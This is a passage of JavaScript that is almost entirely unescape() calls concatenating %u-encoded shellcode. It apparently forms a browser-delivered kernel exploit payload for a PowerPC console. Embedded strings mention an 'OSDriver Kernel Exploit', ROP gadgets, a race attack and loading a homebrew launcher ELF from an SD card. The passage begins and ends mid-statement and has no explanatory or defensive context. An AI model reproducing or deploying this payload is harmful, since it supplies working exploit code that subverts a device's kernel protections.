unescape("%u4e80%u0421%u3d20%u4000%u7d29%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u813f%u0024%u7d29%u03a6%u4e80%u0421%u3961%u0040%u4800%u09f8%u3d00%u01ff%u3ce3%u4000%u6108%uffff%u7f87%u4040%u409d%u002c"); - str += unescape("%u3d00%u00ff%u3ce3%u3e00%u6108%uffff%u7f87%u4040%u419d%u0028%u3d20%u3200%u3d40%uc200%u6129%u0012%u614a%u01ff%u4800%u0014%u3d20%u3000%u3d40%uc000%u6129%u0012%u614a%u03ff%u7cf8%u82a6%u7d19%u82a6"); - str += unescape("%u7d58%u83a6%u7d39%u83a6%u7c00%u06ac%u4c00%u012c%u3945%u0001%u3920%u0000%u7d49%u03a6%u4240%u0014%u7d49%u20ae%u7d49%u19ae%u3929%u0001%u4bff%ufff0%u5469%u0034%u7c63%u2a14%u7f89%u1840%u409c%u0014"); - str += unescape("%u7c00%u48ac%u7c00%u04ac%u3929%u0020%u4bff%uffec%u7cf8%u83a6%u7d19%u83a6%u7c00%u06ac%u4c00%u012c%u4e80%u0020%u9421%uffe8%u7c08%u02a6%u3920%u0000%u3c60%u0180%u9121%u0008%u3d20%u0102%u6129%ua31c"); - str += unescape("%u9001%u001c%u3881%u000c%u7d29%u03a6%u3863%u330b%u4e80%u0421%u3d20%u0102%u6129%ub790%u3ca0%u0180%u8061%u000c%u38c1%u0008%u7d29%u03a6%u3880%u0000%u38a5%u3316%u4e80%u0421%u8121%u0008%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8001%u001c%u3821%u0018%u7c08%u03a6%u4e80%u0020%u9421%uffe0%u7c08%u02a6%ubf41%u0008%u7c9f%u2379%u9001%u0024%u7c7e%u1b78%u7cbd%u2b78%u7cdc%u3378%u7cfb%u3b78%u7d1a%u4378%u4182%u0024"); - str += unescape("%u813f%u0000%u6d2a%u7f45%u2f8a%u4c46%u409e%u0014%u813f%u0010%u6d2a%u0002%u2f8a%u0014%u419e%u0014%u3c80%u0180%u7fc3%uf378%u3884%u332a%u4bff%ufc81%u80ff%u0020%u3960%u0000%ua11f%u0030%u7cff%u3a14"); - str += unescape("%u7ce9%u3b78%u7f8b%u4000%u409c%u0060%ua0df%u0032%u8149%u0000%u1cc6%u0028%u7cc7%u3214%u80a6%u0010%u7caa%u2a14%u7faa%ueb78%u7cbf%u2a14%u38a5%uffff%u8c05%u0001%u2f80%u0000%u419e%u0020%u88ca%u0000"); - str += unescape("%u2f86%u0000%u419e%u0014%u7f80%u3040%u409e%u0060%u394a%u0001%u4bff%uffdc%u894a%u0000%u7f8a%u0000%u41be%u0024%u4800%u0048%u2f9a%u0000%u3be0%u0000%u41be%u0048%u7fc3%uf378%u7fa4%ueb78%u4bff%ufbf1"); - str += unescape("%u4800%u0038%u2f9b%u0000%u419e%u000c%u8149%u000c%u915b%u0000%u2f9c%u0000%u419e%u000c%u8149%u0014%u915c%u0000%u83e9%u0010%u4800%u0010%u396b%u0001%u3929%u0028%u4bff%uff50%u3961%u0020%u7fe3%ufb78"); - str += unescape("%u4800%u079c%u7c08%u02a6%u9421%uff60%u3d20%u0102%u3c60%u0180%u6129%ua31c%ubfc1%u0098%u9001%u00a4%u7d29%u03a6%u3863%u333b%u3881%u0094%u3fe0%u0102%u63ff%ub790%u4e80%u0421%u3ca0%u0180%u38c1%u008c"); - str += unescape("%u8061%u0094%u3880%u0000%u38a5%u3348%u7fe9%u03a6%u4e80%u0421%u8121%u008c%u3880%u0000%u38a0%u003c%u7d29%u03a6%u3861%u0008%u4e80%u0421%u8121%u008c%u8061%u0094%u3ca0%u0180%u9121%u0014%u3d20%u0180"); - str += unescape("%u3929%u25d0%u9061%u000c%u9121%u0008%u3880%u0001%u38a5%u334f%u38c1%u0090%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0001%u38a5%u3369%u38c1%u0090%u9121%u001c"); - str += unescape("%u7fe9%u03a6%u4e80%u0421%u8121%u0090%u3ca0%u0180%u8061%u0094%u8129%u0000%u3880%u0000%u38a5%u337e%u38c1%u0010%u9121%u0020%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u3385"); - str += unescape("%u38c1%u0018%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u339b%u38c1%u0024%u7fe9%u03a6%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u33a8%u38c1%u0028%u7fe9%u03a6"); - str += unescape("%u4e80%u0421%u3ca0%u0180%u8061%u0094%u3880%u0000%u38a5%u33ba%u38c1%u002c%u7fe9%u03a6%u4e80%u0421%u8121%u0018%u3c60%ua000%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0010%u3861%u0008%u4bff%uef59"); - str += unescape("%u4800%u0144%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u33c0%u38c1%u0070%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u33c8%u38c1%u006c%u4e80%u0421%u3ca0%u0180"); - str += unescape("%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u33d1%u38c1%u0068%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u33e3%u38c1%u0064%u4e80%u0421%u3ca0%u0180%u3880%u0000%u38a5%u33f5"); - str += unescape("%u38c1%u0044%u7fe9%u03a6%u8061%u0094%u4e80%u0421%u8121%u0070%u7d29%u03a6%u4e80%u0421%u8121%u0064%u7c7e%u1b78%u3880%u0040%u3860%u0100%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u40a2%u0014%u3c80%u0180"); - str += unescape("%u3861%u0008%u3884%u3404%u4bff%uf965%u8121%u0014%u3880%u0000%u38a0%u0100%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0068%u7fe4%ufb78%u38a0%u0003%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378"); - str += unescape("%u4e80%u0421%u8121%u006c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0044%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%uffea%u6063%uaa58%u3880%u0000%u4bff%uedd5%u3c60%uffea%u6063%uaa5c%u3c80%u1400"); - str += unescape("%u4bff%uedc5%u3fe0%u0102%u3ca0%u0180%u63ff%ub790%u8061%u0094%u7fe9%u03a6%u3880%u0000%u38a5%u3432%u38c1%u0088%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0094%u3880%u0000%u38a5%u3441%u38c1%u0084"); - str += unescape("%u4e80%u0421%u3ca0%u0180%u38a5%u3450%u38c1%u0080%u7fe9%u03a6%u8061%u0094%u3880%u0000%u4e80%u0421%u8121%u001c%u3880%u0020%u3860%u4000%u7d29%u03a6%u4e80%u0421%u8121%u001c%u7c7e%u1b78%u3880%u0008"); - str += unescape("%u3860%u1000%u7d29%u03a6%u4e80%u0421%u7c7f%u1b79%u4182%u000c%u2f9e%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u3465%u4bff%uf845%u8161%u0088%u3c80%u0180%u7fe3%ufb78%u3884%u18a0%u38a0%u0001"); - str += unescape("%u38c1%u0008%u38fe%u4000%u3900%u4000%u3920%u0000%u3940%u001a%u7d69%u03a6%u4e80%u0421%u2f83%u0000%u40be%u0014%u3c80%u0180%u3861%u0008%u3884%u34a1%u4bff%uf7fd%u8121%u0084%u7fe3%ufb78%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u8121%u0080%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8"); - str += unescape("%u3c60%uffea%u3c80%u0180%u6063%ua174%u3884%u17e8%u4bff%uec75%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u34d5%u38c1%u0078%u38e1%u007c%u3900%u0001%u9121%u007c%u9121%u0078%u4bff%ufa99"); - str += unescape("%u7c6a%u1b79%u8081%u0008%u41a2%u0018%u8061%u007c%u7c84%u5214%u80a1%u0078%u3c63%uc000%u4bff%ue175%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u34db%u38c1%u0070%u38e1%u0074%u3900%u0000"); - str += unescape("%u9121%u0074%u9121%u0070%u4bff%ufa4d%u7c64%u1b79%u41a2%u001c%u8061%u0074%u8121%u0008%u80a1%u0070%u3c63%uc000%u7c89%u2214%u4bff%ue129%u8081%u0008%u3ca0%u0180%u3920%u0000%u3861%u0008%u38a5%u34e3"); - str += unescape("%u38c1%u0068%u38e1%u006c%u3900%u0000%u9121%u006c%u9121%u0068%u4bff%ufa01%u7c64%u1b79%u41a2%u001c%u8061%u006c%u8121%u0008%u80a1%u0068%u3c63%uc000%u7c89%u2214%u4bff%ue0dd%u8081%u0008%u3ca0%u0180"); - str += unescape("%u3920%u0000%u3861%u0008%u38a5%u34e9%u38c1%u0044%u38e1%u0064%u3900%u0000%u9121%u0064%u9121%u0044%u4bff%uf9b5%u7c64%u1b79%u41a2%u001c%u8061%u0064%u8121%u0008%u80a1%u0044%u3c63%uc000%u7c89%u2214"); - str += unescape("%u4bff%ue091%u3c60%uffea%u3c80%u0180%u6063%ua1b8%u3884%u0058%u4bff%ueb31%u3c60%uffe8%u3c80%ufff0%u6063%u4d40%u6084%u2274%u4bff%ueb1d%u3c60%uffe8%u3c80%ufff0%u6063%u5140%u6084%u2274%u4bff%ueb09"); - str += unescape("%u3c60%uffe8%u3c80%ufff0%u6063%u5540%u6084%u2274%u4bff%ueaf5%u3c60%uffea%u3c80%ufff0%u6063%u9db0%u6084%u2274%u4bff%ueae1%u3c60%uffe8%u3c80%ufff0%u6063%u4d44%u6084%u2294%u4bff%ueacd%u3c60%uffe8"); - str += unescape("%u3c80%ufff0%u6063%u5144%u6084%u2294%u4bff%ueab9%u3c60%uffe8%u3c80%ufff0%u6063%u5544%u6084%u2294%u4bff%ueaa5%u3c60%uffea%u3c80%ufff0%u6063%u9db4%u6084%u2294%u4bff%uea91%u4bff%udfe5%u8121%u0014"); - str += unescape("%u3880%u0000%u38a0%u0020%u7d29%u03a6%u3861%u0044%u4e80%u0421%u3c60%uc080%u3920%u0214%u6063%u1404%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udfa5%u3d20%udead%u3c60%uc080%u6129%uc0de%u6063%u1400"); - str += unescape("%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udf85%u3c60%uc080%u3881%u0064%u6063%u1300%u38a0%u0004%u4bff%udf71%u3c60%uc080%u3920%u0000%u6063%u1304%u3881%u0064%u38a0%u0004%u9121%u0064%u4bff%udf55"); - str += unescape("%u3d20%u0102%u3c60%uc080%u6129%ua31c%u6063%u1500%u9121%u0044%u3d20%u0102%u6129%ub790%u3881%u0044%u9121%u0048%u3d20%uffe8%u6129%u4c70%u38a0%u0020%u9121%u0050%u3d20%uffe8%u6129%u5070%u9121%u0054"); - str += unescape("%u3d20%uffe8%u6129%u5470%u9121%u0058%u3d20%uffea%u6129%u9ce0%u9121%u005c%u3d20%uffea%u6129%ua0e0%u9121%u0060%u3d20%u1005%u6129%ud180%u9121%u004c%u4bff%udee1%u8121%u0008%u3c60%uc201%u38a0%u0004"); - str += unescape("%u6063%uc55c%u8129%u0018%u3881%u0064%u5529%u01ba%u6529%u4800%u6129%u0003%u9121%u0064%u4bff%udeb5%u8121%u0028%u3c60%u0101%u3880%u0004%u6063%uc55c%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fe3%ufb78"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u8121%u0020%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u002c%u7d29%u03a6%u4e80%u0421%u3961%u00a0%u4800%u0044%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8"); - str += unescape("%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78"); - str += unescape("%u4e80%u0020%u801f%u0000%u7c09%u03a6%u4e80%u0421%u83ff%u0004%u2c1f%u0000%u4082%uffec%u8001%u0014%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0020%u8061%u0008%u8081%u000c%u8001%u0014%u7c08%u03a6"); - str += unescape("%u3821%u0010%u4e80%u0020%u80a1%u0008%u3821%u0010%u7ca3%u2b78%u8081%u0004%u7c88%u03a6%u4e80%u0020%u80c1%u0014%u9061%u0010%u8001%u0010%u915e%u002c%u8121%u0008%u901e%u0030%u913e%u0028%u90de%u0034"); - str += unescape("%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u8001%u0034%u83e1%u002c%u7c08%u03a6%u83c1%u0028%u3821%u0030%u4e80%u0020%u3800%u3200%u4400%u0002%u4e80%u0020%u3800%u3300"); - str += unescape("%u4400%u0002%u4e80%u0020%u3800%u4700%u4400%u0002%u4e80%u0020%u3800%u4800%u4400%u0002%u4e80%u0020%u6d65%u6d73%u6574%u004f%u5341%u6c6c%u6f63%u4672%u6f6d%u5379%u7374%u656d%u004f%u5346%u7265%u6554"); - str += unescape("%u6f53%u7973%u7465%u6d00%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174%u6500%u494d%u5f43%u6c6f%u7365%u0049%u4d5f%u4f70%u656e%u004f%u5353%u6372%u6565%u6e50%u7574%u466f%u6e74%u4578%u004f%u5353"); - str += unescape("%u6372%u6565%u6e43%u6c65%u6172%u4275%u6666%u6572%u4578%u0044%u4346%u6c75%u7368%u5261%u6e67%u6500%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345%u7800%u4f53%u5363%u7265%u656e%u4765"); - str += unescape("%u7442%u7566%u6665%u7253%u697a%u6545%u7800%u4f53%u5363%u7265%u656e%u496e%u6974%u004f%u5353%u6372%u6565%u6e53%u6574%u4275%u6666%u6572%u4578%u004f%u5344%u7269%u7665%u7220%u4b65%u726e%u656c%u2045"); - str += unescape("%u7870%u6c6f%u6974%u005f%u4578%u6974%u004f%u5343%u7265%u6174%u6554%u6872%u6561%u6400%u4f53%u5265%u7375%u6d65%u5468%u7265%u6164%u004f%u5349%u7354%u6872%u6561%u6454%u6572%u6d69%u6e61%u7465%u6400"); - str += unescape("%u4761%u6467%u6574%u206e%u6f74%u2066%u6f75%u6e64%u2100%u636f%u7265%u696e%u6974%u0073%u7973%u6170%u7000%u6d65%u6d63%u7079%u0044%u4349%u6e76%u616c%u6964%u6174%u6552%u616e%u6765%u0049%u4349%u6e76"); - str += unescape("%u616c%u6964%u6174%u6552%u616e%u6765%u004f%u5347%u6574%u5468%u7265%u6164%u5072%u696f%u7269%u7479%u004f%u5347%u6574%u4375%u7272%u656e%u7454%u6872%u6561%u6400%u4f53%u5969%u656c%u6454%u6872%u6561"); - str += unescape("%u6400%u5f5f%u5050%u4345%u7869%u7400%u5359%u5353%u7769%u7463%u6854%u6f42%u726f%u7773%u6572%u0053%u5953%u4c61%u756e%u6368%u5365%u7474%u696e%u6773%u0046%u6169%u6c65%u6420%u746f%u2063%u7265%u6174"); - str += unescape("%u6520%u7468%u7265%u6164%u7321%u2050%u6c65%u6173%u6520%u7472%u7920%u6167%u6169%u6e2e%u0052%u756e%u6e69%u6e67%u2045%u7870%u6c6f%u6974%u2e2e%u2e00%u4f53%u536c%u6565%u7054%u6963%u6b73%u0044%u5256"); - str += unescape("%u4100%u4452%u5642%u0052%u6567%u6973%u7465%u7228%u2920%u6f66%u2064%u7269%u7665%u7220%u4120%u616e%u6420%u4220%u6661%u696c%u6564%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00"); - str += unescape("%u4661%u696c%u6564%u2074%u6f20%u616c%u6c6f%u6361%u7465%u2070%u6179%u6c6f%u6164%u2120%u5265%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u4452%u5648%u4158%u0052%u6163%u6520%u6174%u7461"); - str += unescape("%u636b%u2066%u6169%u6c65%u6421%u2052%u656c%u6f61%u6469%u6e67%u206b%u6572%u6e65%u6c2e%u2e2e%u0046%u6169%u6c65%u6420%u746f%u2066%u696e%u6420%u4452%u5641%u206f%u7220%u4452%u5648%u4158%u2120%u5265"); - str += unescape("%u6c6f%u6164%u696e%u6720%u6b65%u726e%u656c%u2e2e%u2e00%u0000%u7f45%u4c46%u0102%u0100%u0000%u0000%u0000%u0000%u0002%u0014%u0000%u0001%u0080%u04d0%u0000%u0034%u0000%u0c24%u0000%u0000%u0034%u0020"); - str += unescape("%u0001%u0028%u0004%u0003%u0000%u0001%u0000%u0054%u0080%u0000%u0080%u0000%u0000%u0bb6%u0000%u0bb6%u0000%u0005%u0000%u0004%u7ca8%u02a6%u7ca9%u03a6%u7ce8%u03a6%u7cb0%u8aa6%u7cba%u8ba6%u7cb1%u8aa6"); - str += unescape("%u7cbb%u8ba6%u80a3%u0034%u80c3%u0038%u80e3%u003c%u8103%u0040%u8123%u0044%u8143%u0048%u8163%u004c%u8063%u0050%u4c00%u012c%u7ca7%u01a4%u4e80%u0420%u7c08%u02a6%u9421%uffe0%ubf61%u000c%u7c9f%u2378"); - str += unescape("%u9001%u0024%u83c4%u001c%u2f9e%u0000%u40be%u000c%u3860%u0000%u4800%u0180%ua124%u002c%u2f89%u0000%u41be%ufff0%ua124%u002a%u2f89%u0020%u409e%uffe4%u7c7d%u1b78%u7fc4%uf214%u3b80%u0000%ua13f%u002c"); - str += unescape("%u7f9c%u4800%u409c%u0084%u813e%u0000%u2f89%u0001%u40be%u006c%u80be%u0010%u813e%u0014%u7f85%u4840%u41bd%uffb0%u2f85%u0000%u41be%u0054%u837e%u000c%u813d%u0008%u809e%u0004%u7f63%udb78%u7d29%u03a6"); - str += unescape("%u7c9f%u2214%u4e80%u0421%u813d%u0014%u7f63%udb78%u809e%u0010%u7d29%u03a6%u4e80%u0421%u813e%u0018%u712a%u0001%u41a2%u0018%u813d%u0018%u807e%u000c%u809e%u0014%u7d29%u03a6%u4e80%u0421%u3b9c%u0001"); - str += unescape("%u3bde%u0020%u4bff%uff78%u837f%u0020%u3b80%u0000%u7f7f%uda14%u7f7e%udb78%ua13f%u0030%u7f9c%u4800%u409c%u00b0%ua15f%u0032%u813e%u0000%u1d4a%u0028%u7d5b%u5214%u814a%u0010%u7d49%u5214%u7d3f%u5214"); - str += unescape("%u7d5f%u50ae%u2f8a%u002e%u40be%u007c%u8949%u0001%u2b8a%u0062%u40be%u0018%u8949%u0002%u2f8a%u0073%u40be%u0064%u8929%u0003%u4800%u0028%u2b8a%u0073%u40be%u0054%u8949%u0002%u2f8a%u0062%u40be%u0048"); - str += unescape("%u8949%u0003%u2f8a%u0073%u40be%u003c%u8929%u0004%u2f89%u0073%u40be%u0030%u813d%u000c%u3880%u0000%u807e%u000c%u7d29%u03a6%u80be%u0014%u4e80%u0421%u813d%u0014%u807e%u000c%u809e%u0014%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u3b9c%u0001%u3bde%u0028%u4bff%uff4c%u807f%u0018%u3961%u0020%u4800%u0768%u7c08%u02a6%u9421%ufbe8%u3920%uffff%u9121%u03ec%u9001%u041c%ubf21%u03fc%u7c7f%u1b78%u8123%u0000%u7c99%u2378"); - str += unescape("%u3860%u1700%u3880%u0004%u7d29%u03a6%u7cba%u2b78%u4e80%u0421%u7c7e%u1b79%u4182%u0294%u813f%u0000%u3860%u0a80%u3880%u0004%u7d29%u03a6%u4e80%u0421%u7c7d%u1b79%u40a2%u0018%u813f%u0004%u7fc3%uf378"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u4800%u0264%u813f%u0024%u7d29%u03a6%u4e80%u0421%u813f%u0030%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3880%u0000%u38a0%uffff%u7d29%u03a6%u7fc3%uf378%u4e80%u0421"); - str += unescape("%u813f%u0034%u7fc3%uf378%u7fa4%ueb78%u38a0%u0000%u38c1%u0008%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u0014%u3c60%u0080%u813f%u0010%u3863%u097c%u4800%u003c%u813f%u0038%u7fc3%uf378"); - str += unescape("%u7fa4%ueb78%u38a1%u0008%u38c1%u0308%u38e0%u0080%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u419e%u001c%u3c60%u0080%u813f%u0010%u3863%u0995%u7d29%u03a6%u4e80%u0421%u4800%u0178%u813f%u0040"); - str += unescape("%u3ca0%u0080%u3cc0%u0080%u7fc3%uf378%u7fa4%ueb78%u38a5%u09a6%u38c6%u09e8%u38e1%u03ec%u3900%uffff%u7d29%u03a6%u4e80%u0421%u2c03%u0000%u4182%u0024%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308"); - str += unescape("%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0124%u813f%u0044%u7fa4%ueb78%u9061%u0398%u38c1%u0388%u7fc3%uf378%u80a1%u03ec%u38e0%uffff%u7d29%u03a6%u4e80%u0421%u8061%u0398%u2f83%u0000%u41be%u0024"); - str += unescape("%u813f%u0000%u3863%u003f%u5463%u0032%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c7b%u1b79%u40a2%u001c%u813f%u0010%u3c60%u0080%u3863%u09ea%u3b60%u0000%u7d29%u03a6%u4e80%u0421%u3b80%u0000%u80e1%u0398"); - str += unescape("%u7f9c%u3840%u409c%u0038%u817f%u0048%u7fc3%uf378%u7fa4%ueb78%u7cbb%ue214%u38c0%u0001%u7cfc%u3850%u8101%u03ec%u3920%u0000%u3940%uffff%u7d69%u03a6%u4e80%u0421%u2c03%u0000%u41a1%u0028%u8121%u0398"); - str += unescape("%u7f9c%u4800%u419e%u0024%u813f%u0004%u7f63%udb78%u3b80%u0000%u7d29%u03a6%u4e80%u0421%u4800%u0018%u7f9c%u1a14%u4bff%uff98%u9379%u0000%u939a%u0000%u3b80%u0001%u813f%u004c%u7fa4%ueb78%u80a1%u03ec"); - str += unescape("%u7fc3%uf378%u7d29%u03a6%u38c0%uffff%u4e80%u0421%u813f%u003c%u7fc3%uf378%u7fa4%ueb78%u38a1%u0308%u38c0%uffff%u7d29%u03a6%u4e80%u0421%u4800%u0008%u3b80%u0000%u813f%u002c%u7fc3%uf378%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u813f%u0004%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u813f%u0004%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u7f83%ue378%u4800%u0008%u3860%u0000%u3961%u0418%u4800%u0484%u7c08%u02a6%u9421%uff70"); - str += unescape("%u3d20%u0080%u6129%u1500%ubec1%u0068%u9001%u0094%u7c79%u1b78%u3c60%u0080%u7c9a%u2378%u83c9%u0000%u3881%u0064%u3863%u0a0a%u83e9%u0004%u7fc9%u03a6%u3fa0%u0080%u3f80%udead%u3ee0%u0080%u3ec0%u0080"); - str += unescape("%u63bd%u1300%u639c%uc0de%u3b60%u0000%u4e80%u0421%u3920%u0000%u3ca0%u0080%u7fe9%u03a6%u9121%u0060%u3880%u0001%u38a5%u0a13%u38c1%u0060%u8061%u0064%u3af7%u0b70%u3ad6%u0b29%u4e80%u0421%u8121%u0060"); - str += unescape("%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0001%u38a5%u0a2d%u38c1%u0060%u9121%u0008%u8061%u0064%u4e80%u0421%u8121%u0060%u3ca0%u0080%u7fe9%u03a6%u8129%u0000%u3880%u0000%u38a5%u0a42%u38c1%u0010"); - str += unescape("%u9121%u000c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a49%u38c1%u0014%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a50%u38c1%u0018%u8061%u0064"); - str += unescape("%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a58%u38c1%u001c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a65%u38c1%u0020%u8061%u0064%u4e80%u0421%u3ca0%u0080"); - str += unescape("%u7fe9%u03a6%u3880%u0000%u38a5%u0a77%u38c1%u0024%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a85%u38c1%u0028%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000"); - str += unescape("%u38a5%u0a8a%u38c1%u002c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a91%u38c1%u0030%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0a9f%u38c1%u0034"); - str += unescape("%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0aab%u38c1%u0038%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0aba%u38c1%u003c%u8061%u0064%u4e80%u0421"); - str += unescape("%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0acb%u38c1%u0040%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0ad3%u38c1%u0044%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6"); - str += unescape("%u3880%u0000%u38a5%u0add%u38c1%u0048%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0ae8%u38c1%u004c%u8061%u0064%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u3880%u0000%u38a5%u0af6"); - str += unescape("%u38c1%u0050%u8061%u0064%u4e80%u0421%u3ca0%u0080%u38a5%u0b01%u38c1%u0054%u7fe9%u03a6%u3880%u0000%u8061%u0064%u4e80%u0421%u3c60%u0080%u7fc9%u03a6%u3881%u005c%u3863%u0b0d%u3fc0%u0080%u63de%u1304"); - str += unescape("%u4e80%u0421%u3ca0%u0080%u7fe9%u03a6%u8061%u005c%u3880%u0000%u38a5%u0b18%u38c1%u0058%u3fe0%u0080%u63ff%u1400%u4e80%u0421%u813d%u0000%u7f89%ue000%u419e%u0068%u813e%u0000%u2f89%u0000%u41be%u005c"); - str += unescape("%u8121%u0008%u3880%u0004%u807e%u0000%u7d29%u03a6%u4e80%u0421%u7c78%u1b79%u4182%u0038%u8121%u0010%u809d%u0000%u7d29%u03a6%u80be%u0000%u4e80%u0421%u3861%u0008%u7f04%uc378%u4bff%uf839%u8121%u000c"); - str += unescape("%u907f%u0000%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u939d%u0000%u937e%u0000%u813f%u0000%u3f00%u0080%u6318%u1400%u7f89%ue000%u419e%u0010%u813f%u0000%u2f89%u0000%u409e%u0068%u3881%u0060%u3861%u0008"); - str += unescape("%u38a1%u005c%u9361%u0060%u9361%u005c%u4bff%uf991%u8081%u0060%u7ec3%ub378%u2f84%u0000%u419e%u0030%u3861%u0008%u4bff%uf7cd%u8121%u000c%u907f%u0000%u7d29%u03a6%u8061%u0060%u4e80%u0421%u813f%u0000"); - str += unescape("%u2f89%u0000%u409e%uff24%u7ee3%ubb78%u8121%u0018%u7d29%u03a6%u4e80%u0421%u4bff%uff10%u8138%u0000%u7f23%ucb78%u7f44%ud378%u7d29%u03a6%u4e80%u0421%u2f83%ufffd%u419e%u0030%u3d20%udead%u3860%u0000"); - str += unescape("%u6129%uc0de%u3880%u0000%u9138%u0000%u8121%u0058%u7d29%u03a6%u4e80%u0421%u8121%u0028%u7d29%u03a6%u4e80%u0421%u3d20%u0080%u7f23%ucb78%u6129%u1500%u7f44%ud378%u8129%u0008%u8129%u0000%u7d29%u03a6"); - str += unescape("%u4e80%u0421%u3961%u0090%u4800%u0024%u81cb%uffb8%u81eb%uffbc%u820b%uffc0%u822b%uffc4%u824b%uffc8%u826b%uffcc%u828b%uffd0%u82ab%uffd4%u82cb%uffd8%u82eb%uffdc%u830b%uffe0%u832b%uffe4%u834b%uffe8"); - str += unescape("%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u7d61%u5b78%u4e80%u0020%u4653%u4765%u744d%u6f75%u6e74%u536f%u7572%u6365%u2066%u6169%u6c65%u642e%u0053%u4420"); - str += unescape("%u6d6f%u756e%u7420%u6661%u696c%u6564%u2e00%u2f76%u6f6c%u2f65%u7874%u6572%u6e61%u6c30%u312f%u7769%u6975%u2f61%u7070%u732f%u686f%u6d65%u6272%u6577%u5f6c%u6175%u6e63%u6865%u722f%u686f%u6d65%u6272"); - str += unescape("%u6577%u5f6c%u6175%u6e63%u6865%u722e%u656c%u6600%u7200%u4e6f%u7420%u656e%u6f75%u6768%u206d%u656d%u6f72%u7920%u666f%u7220%u454c%u4620%u6669%u6c65%u2e00%u636f%u7265%u696e%u6974%u004d%u454d%u416c"); - str += 